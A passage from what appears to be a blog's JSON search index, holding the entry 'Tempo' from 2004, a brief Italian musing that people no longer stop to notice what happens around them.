semplicemente cosa gli succede intorno…\n","permalink":"https://www.deepreflect.net/2004/03/20/tempo/","summary":"\u003cp\u003eA volte e’ proprio vero che la gente non si ferma piu’ a vedere cosa gli accade realmente o semplicemente cosa gli succede intorno…\u003c/p\u003e","title":"Tempo"}]